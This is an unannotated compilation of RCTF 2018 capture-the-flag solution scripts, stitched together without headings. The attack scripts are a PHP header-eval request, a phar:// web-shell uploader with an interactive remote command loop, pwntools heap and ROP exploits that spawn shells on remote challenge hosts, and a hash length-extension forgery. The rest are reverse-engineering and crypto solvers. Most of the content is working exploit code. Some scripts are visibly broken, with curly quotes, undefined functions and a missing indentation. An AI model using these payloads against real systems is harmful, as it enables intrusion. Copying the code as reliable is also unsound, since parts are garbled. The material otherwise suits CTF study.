GET /?cmd=eval(implode(getallheaders())); HTTP/1.1
cmd: phpinfo(); //
Host: 39093088bf9a9d33d5dd5b973cc1232e2145ee49.sandbox.r-cursive.ml

document.loginform.onsubmit = function (e) { 
    e.preventDefault()
    document.getElementById('wp-submit').disabled = 'disabled'
    setTimeout(function () {
        document.getElementById('wp-submit').removeAttribute('disabled')
        alert('Login failed')
        "What? Need hint?"
        "index.php is a hint!"
    }, 3000)
}

<?php
error_reporting(0);
include $_GET['action'] . '.php';

<?php
if (!isset($_FILES['file'])) exit;
$file = $_FILES['file'];
$zip = new ZipArchive();
if (true !== $zip->open($file['tmp_name'])) {
    echo 'No a valid zip';
    exit;
}
if (false === $zip->getFromName('tmp/random.txt')) {
    echo 'No file';
    exit;
}

$dest = 'uploads/' . md5($_SERVER['REMOTE_ADDR']) . hash('sha256', file_get_contents($file['tmp_name'])) . '.zip';
move_uploaded_file($file['tmp_name'], $dest);
echo 'Saved into ' . $dest;

import requests

s = "Saved into "
post_url = "http://backdoor.2018.teamrois.cn/post.php?action=upload"
zip_file = open("tmp.zip","rb")
upload_file = {'file':zip_file}
r = requests.post(post_url,files=upload_file)
dest = r.text[len(s):]
shell_url = "http://backdoor.2018.teamrois.cn/post.php?action=phar://"+ dest + "/evil"
print("[*] shell url: " + shell_url)
while  True:
    command = input("command: ")
    payload = {'chybeta': 'system("%s");' % command}
    r = requests.get(shell_url,params=payload)
    print(r.text)

echo 'food'>yourCatFood
docker run -it --rm --network none -v /tmp/yourCatFood:/app/food:ro rctf_cats bash -c "timeout 5 diff -Z <(cat food) <(xxxx food)"

import os
os.system("ln -s /bin/cat /usr/local/sbin/gg")
f=open('food','r')
data=f.read()
print(data)

sudo docker run -it --rm --network none -v /tmp/yourCatFood:/app/food:ro
rctf_cats bash -c "timeout 5 diff -Z \<(cat food) \<(yourCatName food)"

print(open('food').read());

print(open('food').read());

cat food

echo cat food;

print(open('food').read());

function print(data){
fs=require('fs');
var data=fs.readFileSync('food','utf-8');
console.log(data);
}
function open(filename){return {read:function(){}}}
function exit(){}

echo cat food;
echo exit;
print(open('food').read());exit();
function print(data){
fs=require('fs');
var data=fs.readFileSync('food','utf-8');
console.log(data.slice(0,-1));
}

function open(filename){return {read:function(){}}}
function exit(){}

echo cat food;
echo exit;
print(open('food').read());exit();
function print(data){
fs=require('fs');
var data=fs.readFileSync('food','utf-8');
console.log(data);
}
function open(filename){return {read:function(){}}}
function exit(){}

from pwn import *

debug=0
e=ELF('./libc.so')
context.log_level='debug'
if debug:
    p=process('./babyheap',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
else:
    p=remote('babyheap.2018.teamrois.cn',3154)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)


def alloc(sz,content):
    se('1\n')
    ru('please input chunk size:')
    se(str(sz)+'\n')
    ru('input chunk content:')
    se(content)
    ru('choice:')

def show(idx):
    se('2\n')
    ru('please input chunk index:')
    se(str(idx)+'\n')
    ru('content: ')
    data=ru('1. ')
    ru('choice:')
    return data

def delete(idx):
    se('3\n')
    ru('please input chunk index:')
    se(str(idx)+'\n')
    ru('choice:')

#-------------init----------------
alloc(0x48,'0\n')
alloc(0xf9,(p64(0x100)+p64(0x21))*0x10)
alloc(0xa8,'2'*8+p64(0x21)*10+'\n')
alloc(0x100,'3\n')

#-----------off by null-------------
delete(1)
delete(0)
alloc(0x48,'a'*0x48)


#----------chunk overlap--------
alloc(0x88,'1\n')
alloc(0x68,'4\n')

delete(1)
delete(2)


#-----------leak libc----------------
alloc(0x88,'1\n')

libc=u64(show(4)[:6]+'\x00\x00')
base=libc-0x3C4B78

malloc_hook=base+e.symbols['__malloc_hook']



#-----------fast bin attack-----------
delete(1)

alloc(0xa8,'a'*0x88+p64(0x71)+'\n')
delete(4)
delete(1)
alloc(0xa8,'a'*0x88+p64(0x71)+p64(malloc_hook-0x23)+'\n')
alloc(0x68,'t\n')
alloc(0x68,'a'*3+p64(base+0xf1147)*2+p64(base+0x846D0)+'\n')

print(hex(base))

print(hex(base+0x846D0))

p.interactive()

from pwn import *
from hashlib import sha256
import itertools
import roputils

debug=0
context.log_level='debug'
rop=roputils.ROP('./simulator')
if debug:
    p=process('simulator')
    context.log_level='debug'
    gdb.attach(p)
    e=ELF('/lib/i386-linux-gnu/libc-2.24.so')
else:
    p=remote('simulator.2018.teamrois.cn', 3131)
    e=ELF('./libc.so')

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

s=string.letters+string.digits
if debug==0:
    chal=p.recv(16)
    for i in itertools.permutations(s,4):
        sol=''.join(i)
        if sha256(chal + sol).digest().startswith('\0\0\0'):
            break
    p.send(sol)

payload='''
li $a0,1883262209
li $a1,1883262210
add $a1,$a0,$a1
move $a0,$a1
lw $a0,$a0
li $v0,1
syscall
move $a0,$a1
li $v0,134523991
sw $v0,$a0
END
'''

se(payload)

puts=0x080485C0
main_addr=0x804AC23
bss_tmp=0x804DB20+0x100
pret=0x804B33B

tpayload='a'*44+p32(bss_tmp)+p32(puts)+p32(main_addr)+p32(0x0804D010)

ru('leave a comment: ')
se(tpayload+'\n')

printf=u32(p.recv(4))
base=printf-e.symbols['printf']

system=base+e.symbols['system']
binsh=base+e.search('/bin/sh').next()

rpayload='a'*48+p32(system)+p32(binsh)*2

se(rpayload+'\n')

p.interactive()

from pwn import *

debug=0
context.log_level='debug'
e=ELF('./libc.so')
if debug:
    p=process('RNote3',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
else:
    p=remote('rnote3.2018.teamrois.cn',7322)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)

def add(title,sz,content):
    se('1\n')
    ru('please input title:')
    se(title)
    ru('please input content size:')
    se(str(sz)+'\n')
    ru('please input content:')
    se(content)
    sleep(0.1)

def show(title):
    se('2\n')
    ru('please input note title: ')
    se(title)
    ru('note content: ')
    sleep(0.1)

def edit(title,content):
    se('3\n')
    ru('please input note title:')
    se(title)
    ru('please input new content: ')
    se(content)
    sleep(0.1)

def delete(title):
    se('4\n')
    ru('please input note title: ')
    se(title)
    sleep(0.2)


add('1\n',0xa0,'a\n')
add('2\n',0xa0,'b\n')
show('1\n')
delete('a\n')
show('\n')

libc=u64(p.recv(6)+'\x00\x00')
base=libc-0x3C4B78

malloc_hook=base+e.symbols['__malloc_hook']

add('3\n',0xa0,'c\n')
add('4\n',0x68,'d\n')
add('5\n',0x68,'e\n')

show('4\n')
delete('a\n')
edit('\n',p64(malloc_hook-0x23)+'\n')
add('6\n',0x68,'f\n')
add('7\n',0x68,'a'*3+p64(base+0x4526a)*2+p64(base+0x846D0)+'\n')

se('1\n')

p.interactive()

from pwn import *

debug=0
context.log_level='debug'
if debug:
    p=process('RNote4',env={'LD_PRELOAD':'./libc.so'})
    context.log_level='debug'
    gdb.attach(p)
else:
    p=remote('rnote4.2018.teamrois.cn',6767)

def ru(x):
    return p.recvuntil(x)

def se(x):
    p.send(x)


def add(sz,content):
    se('\x01')
    se(chr(sz))
    se(content)


def edit(idx,sz,content):
    se('\x02')
    se(chr(idx))
    se(chr(sz))
    se(content)

def delete(idx):
    se('\x03')
    se(chr(idx))


def write(addr,content):
    payload='a'*0x18+p64(0x21)+p64(0x18)+p64(addr)
    edit(0,len(payload),payload)
    edit(1,len(content),content)

add(0x18,'a'*0x18)
add(0x18,'b'*0x18)
add(0x8,'/bin/sh\x00')

write(0x601EB0,p64(0x602100))
write(0x602100,'a'*0x5F+'system')
delete(2)
p.interactive()

#coding:utf-8
from pwn import *
import sys
import time

file_addr='./stringer'
libc_addr='./libc.so.6'
host='stringer.2018.teamrois.cn'
port=7272

libc=ELF(‘./libc.so.6’)
p=remote(host,port)


malloc_hook_off=libc.symbols['__malloc_hook']
free_hook_off=libc.symbols['__free_hook']
unsorted_off=malloc_hook_off+88+0x10
fake_fastbin_malloc_hook=unsorted_off-88-0x13-0x20


def menu(op):
    p.sendlineafter('choice:',str(op))

def newsome(num,con):
    menu(1)
    p.sendlineafter('length:',str(num))
    p.sendlineafter('content:',con)

def showsome():
    menu(2)

def editsome(index,byteindex):
    menu(3)
    p.sendlineafter('index:',str(index))
    p.sendlineafter('index:',str(byteindex))

def delsome(index):
    menu(4)
    p.sendlineafter('index:',str(index))


newsome(0x28,'0'*(0x10-4)+p64(0x31))
newsome(0x100-0x20,'1'*0xc0+p64(0)+p64(0x33)+p64(0))
newsome(0x100,'2'*0x10)
newsome(0x60,'3'*0x10)
newsome(0x28,'4'*0x10)
delsome(0)
delsome(4)

editsome(4,1)

newsome(0x28,'5'*0x10)
#6
newsome(0x28,p64(0)*3+p64(0x181))

delsome(2)
delsome(3)
newsome(0x80,'7'*0x10)
newsome(0x90,'8'*0x70+p64(0)+p64(0x73))
delsome(8)
newsome(0x60,'9'*(0x20-1))
p.recvuntil('99999999\n')
leak=u64(p.recvline().strip().ljust(8,'\x00'))
libc_base=leak-unsorted_off

leaksome['leak']=leak
leaksome['libc_base']=libc_base

# overwrite 2 0x71

newsome(0x90,'a'*0x70+p64(0)+p64(0x71))
delsome(10)
delsome(9)

newsome(0x90,'b'*0x70+p64(0)+p64(0x71)+p64(libc_base+fake_fastbin_malloc_hook))

delsome(0xb)
newsome(0x60,'c'*0x10)


one_gadget=0xf02a4 


newsome(0x60,'d'*3+p64(libc_base+one_gadget)*4)

menu(1)
p.sendline(str(0x90))

show_leak()
exp_bp('aaaaaaa')
p.interactive()

#include <stdio.h>
#include <string.h>
#include <stdint.h>
uint32_t foo(uint32_t a1, uint64_t a2) // sub_804868B
{
    int j;
    uint64_t v5;
    uint32_t in;
    in = a1;
    for (j = 0; j <= 527; ++j)
    {
        v5 = a2 >> (j & 0x1F);
        if (j & 0x20)
            v5 = v5 >> 32;
        in = (in >> 1) ^ ((v5 ^ in ^ (in >> 16) ^ (0x5C743A2E >> (((in >> 1) & 1)
            + 2
            * (2
                * (((in >> 20) & 1)
                    + 2
                    * (2 * ((in & 0x80000000) != 0)
                        + ((in >> 26) & 1)))
                + ((in >> 9) & 1))))) << 31);
    }
    return in;
}

int main()
{
    uint32_t data[30] = // out
    {
        0xB80C91FE,0x70573EFE,
        0xBEED92AE,0x7F7A8193,
        0x7390C17B,0x90347C6C,
        0xAA7A15DF,0xAA7A15DF,
        0x526BA076,0x153F1A32,
        0x545C15AD,0x7D8AA463,
        0x526BA076,0xFBCB7AA0,
        0x7D8AA463,0x9C513266,
        0x526BA076,0x6D7DF3E1,
        0xAA7A15DF,0x9C513266,
        0x1EDC3864,0x9323BC07,
        0x7D8AA463,0xFBCB7AA0,
        0x153F1A32,0x526BA076,
        0xF5650025,0xAA7A15DF,
        0x1EDC3864,0xB13AD888
    };
    int i;
    uint32_t j;
    for (i = 0; i < 30; i++)
        for (j = 0x20; j < 0x7F; j++)
            if (foo(j, 0x1D082C23A72BE4C1) == data[i])
                printf("%c", j);
    printf("\n");
    return 0;
}

s = "1018431415474017101D4B121F49481853540157515305565A08585F0A0C5809".decode("hex")
ss = ""
for i in xrange(0,0x20):
    ss = ss + ("%c" % ((0x20+i) ^ ord(s[i])))
print ss

b = [0x89, 0xC1, 0xEC, 0x50, 0x97, 0x3A, 0x57, 0x59, 0xE4, 0xE6, 0xE4, 0x42, 0xCB, 0xD9, 0x08, 0x22, 0xAE, 0x9D, 0x7C, 0x07, 0x80, 0x8F, 0x1B, 0x45, 0x04, 0xE8]
s = ""
k = [0x66,0x99] 
for i in xrange(0, 26):
    b[i] = b[i] ^ k[i & 1]
    b[i] = (b[i]+0x100-0xCC) & 0xFF
    s = s + ("%02X" % b[i])
print s

v4 = *string;
    v5 = string;
    for ( hash = 0LL; v4; v4 = *v5 )
    {
      ++v5;
      hash = v4 ^ 0x8B * hash;
    }

#include <stdio.h>
#include <stdint.h>

char buf[100];

void foo(int i, uint64_t val)
{
    uint64_t base, v, ch;
    int j;
    if (val == 0)
    {
        for (j = i - 1; j >= 0; j--)
        {
            printf("%c", buf[j]);
        }
        printf("\n");
        return;
    }

    base = val / 0x8B;

    v = (base) * 0x8B;
    ch = v ^ val;
    if (ch >= 0x20 && ch < 0x7F)
    {
        buf[i] = ch;
        foo(i + 1, base);
    }

    v = (base + 1) * 0x8B;
    ch = v ^ val;
    if (ch >= 0x20 && ch < 0x7F)
    {
        buf[i] = ch;
        foo(i + 1, base + 1);
    }
}


int main()
{
    foo(0, 13340610174042144018);
    printf("done\n");
    foo(0, 95741437967718225);
    printf("done\n");
    foo(0, 484886919005526);
    printf("done\n");
    return 0;
}

#include <stdio.h>
#include <stdint.h>

int main()
{
    uint32_t aa[6], bb[6], cc[6], j;
    uint64_t n, m;
    char *p;
    int i;
    bb[0] = 0x556E4969;
    bb[1] = 0x2E775361;
    bb[2] = 0x893DAE7;
    bb[3] = 0x96990423;
    bb[4] = 0x6CF9D3E9;
    bb[5] = 0xA505531F;
    aa[0] = 0x54A0B9BD;
    aa[1] = 0x4B818640;
    aa[2] = 0x8EB63387;
    aa[3] = 0xA9EABEFD;
    aa[4] = 0xB8CDF96B;
    aa[5] = 0x113C3052;

    for (i = 0; i < 6; ++i)
    {
        for (j = 0; j != 0xFFFFFFFF; j++)
        {
            n = j * 0x100000000;
            n += aa[i];
            if (n % bb[i] == 0)
            {
                cc[i] = n / bb[i];
                printf("cc[%d] == %08X\n", i, cc[i]);
                break;
            }
        }
    }
    p = (char*)cc;
    for (i = 0; i < 24; i++)
    {
        printf("%c", p[i]);
    }
    return 0;
}

#include <stdio.h>
#include <stdint.h>

uint32_t foo1(uint16_t a1, uint16_t a2)
{
    uint16_t v2; // ST16_2
    uint16_t i; // [rsp+0h] [rbp-18h]
    uint16_t v5; // [rsp+4h] [rbp-14h]

    v5 = a1;
    for (i = a2; i & v5; i = 2 * (i & v2))
    {
        v2 = v5;
        v5 ^= i;
    }
    return i | v5;
}

uint32_t foo2(uint32_t x, uint32_t y, uint32_t n)
{
    uint32_t yy; // [rsp+4h] [rbp-18h]
    uint64_t v5; // [rsp+Ch] [rbp-10h]
    uint64_t v6; // [rsp+14h] [rbp-8h]

    yy = y;
    v6 = 1LL;
    v5 = x;
    while (yy)
    {
        if (yy & 1)
            v6 = v5 * v6 % n;
        v5 = v5 * v5 % n;
        yy >>= 1;
    }
    return v6;
}

int main()
{
    char buf[8];
    int i1, i2, i3, i4, i5, i6, i7, i8, i, j, v;
    uint32_t *p1;
    uint16_t *p2, *p3;
    p1 = (uint32_t *)(buf + 0);
    p2 = (uint16_t *)(buf + 4);
    p3 = (uint16_t *)(buf + 6);
    for (i1 = 0x20; i1 < 0x7F; i1++)
    {
        buf[4] = i1;
        for (i2 = 0x20; i2 < 0x7F; i2++)
        {
            buf[5] = i2;
            for (i3 = 0x20; i3 < 0x7F; i3++)
            {
                buf[6] = i3;
                for (i4 = 0x20; i4 < 0x7F; i4++)
                {
                    buf[7] = i4;
                    if (foo1(*p2, *p3) == 0xA496) // -----
                    {
                        for (i5 = 0x20; i5 < 0x7F; i5++)
                        {
                            buf[0] = i5;
                            for (i6 = 0x20; i6< 0x7F; i6++)
                            {
                                buf[1] = i6;
                                for (i7 = 0x20; i7 < 0x7F; i7++)
                                {
                                    buf[2] = i7;
                                    // -------- i8
                                    buf[3] = 0;
                                    v = 0;
                                    for (i = 0; i < 8; i++)
                                    {
                                        v ^= buf[i];
                                    }
                                    i8 = 22 ^ v;
                                    if (i8 < 0x7F && i8 > 0x20)
                                    {
                                        buf[3] = i8;
                                        if (foo2(*p1, *p2, 0xF64BB17D) == 0x6F82C8DC)
                                        {
                                            for (i = 0; i < 8; i++)
                                            {
                                                printf("%c", buf[i]);
                                            }
                                            printf("\n");
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    return 0;
}

uint64_t data[8] =

{

0x2B7192452905E8FB,

0x7BA58F82BD898035,

0xA3112746582E1434,

0x163F756FCC221AB0,

0xECC78E6FB9CBA1FE,

0xDCDD8B49EA5D7E14,

0xA2845FE0B3096F8E,

0xAAAAAAAAAA975D1C,

};

uint64_t mull[8] =

{

0x20656D6F636C6557,

0x2046544352206F74,

0x6548202138313032,

0x2061207369206572,

0x6320455279626142,

0x65676E656C6C6168,

0x756F7920726F6620,

0xFFFFFFFFFFFF002E,

};

uint64_t modd = 0xFFFFFFFFFFFFFFC5;

(input[i] * mull[i]) % modd = data[i]

#-*- coding:utf-8 -*-
flag = ""
def     gcd(a,b):
        while a!=0:
            a,b = b%a,a
        return b
#定义一个函数，参数分别为a,n，返回值为b
def     findModReverse(a,m):#这个扩展欧几里得算法求模逆

        if gcd(a,m)!=1:
            return None
        u1,u2,u3 = 1,0,a
        v1,v2,v3 = 0,1,m
        while v3!=0:
            q = u3//v3
            v1,v2,v3,u1,u2,u3 = (u1-q*v1),(u2-q*v2),(u3-q*v3),v1,v2,v3
        return u1%m

print findModReverse(3,11)
d = 0xFFFFFFFFFFFFFFC5
a = [0x20656D6F636C6557,0x2046544352206F74,0x6548202138313032,0x2061207369206572,0x6320455279626142,0x65676E656C6C6168,0x756F7920726F6620,0xFFFFFFFFFFFF002E]
a_re = []

for i in a:
    num = findModReverse(i,d)
    #print hex(num)
    a_re.append(num)


data = [0x2B7192452905E8FB,0x7BA58F82BD898035,0xA3112746582E1434,0x163F756FCC221AB0,0xECC78E6FB9CBA1FE,0xDCDD8B49EA5D7E14,0xA2845FE0B3096F8E,0xAAAAAAAAAA975D1C]

#for j in range(len(a)):
for k in range(len(a)):
    #print k
    num = (a_re[k] * data[k]) % d
    print hex(num),hex(num)[2:-1].decode('hex')
    flag += hex(num)[2:-1].decode('hex')[::-1]

print flag

from pwn import *
import os
import hashpumpy

s=remote('cpushop.2018.teamrois.cn',43000)
s.recvuntil('Command:')
s.sendline('1')
s.recvuntil('Command:')
s.sendline('2')
s.recvuntil('Product ID:')
s.sendline('9')
s.recvuntil('Your order:')
s.recvline()
a=s.recvline()
timestamp=a[35:51]
sign=a[57:-1]
print a
print timestamp
print sign,len(sign)

for i in range(8,32):
hax=hashpumpy.hashpump(sign,'product=Flag&price=99999&timestamp='+timestamp,'&product=Flag&price=9&timestamp='+timestamp,i)
    #print hax
    payload=hax[1]+'&sign='+hax[0]
    #print payload
    s.recvuntil('Command:')
    s.sendline('3')
    s.recvuntil('Your order:')
    s.sendline(payload)
    pp=s.recvline()
    print pp
    if "Order" not in pp:
        s.interactive()

s.interactive()

# -*- coding: utf-8 -*-
# aes_decrypt.py
from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex

class AESCrypto():
    def __init__(self,key):
        self.key = key
        self.mode = AES.MODE_ECB

    def decrypt(self,text):
        cryptor = AES.new(self.key,self.mode,b'0000000000000000')
        plain_text  = cryptor.decrypt(a2b_hex(text))
        return plain_text

if __name__ == '__main__':
    p_secret = '841747f83b3367c2331069ef167d0179'
    print "key:       ",p_secret
    pc = AESCrypto(a2b_hex(p_secret))
    e = '1d6002b9d8d721039c602a8c46fb4e2ea96d1bacf28e3c41635ea493df02f80e'
    d = pc.decrypt(e)
    print "ciphertext:",e
    print "decrypt:   ",d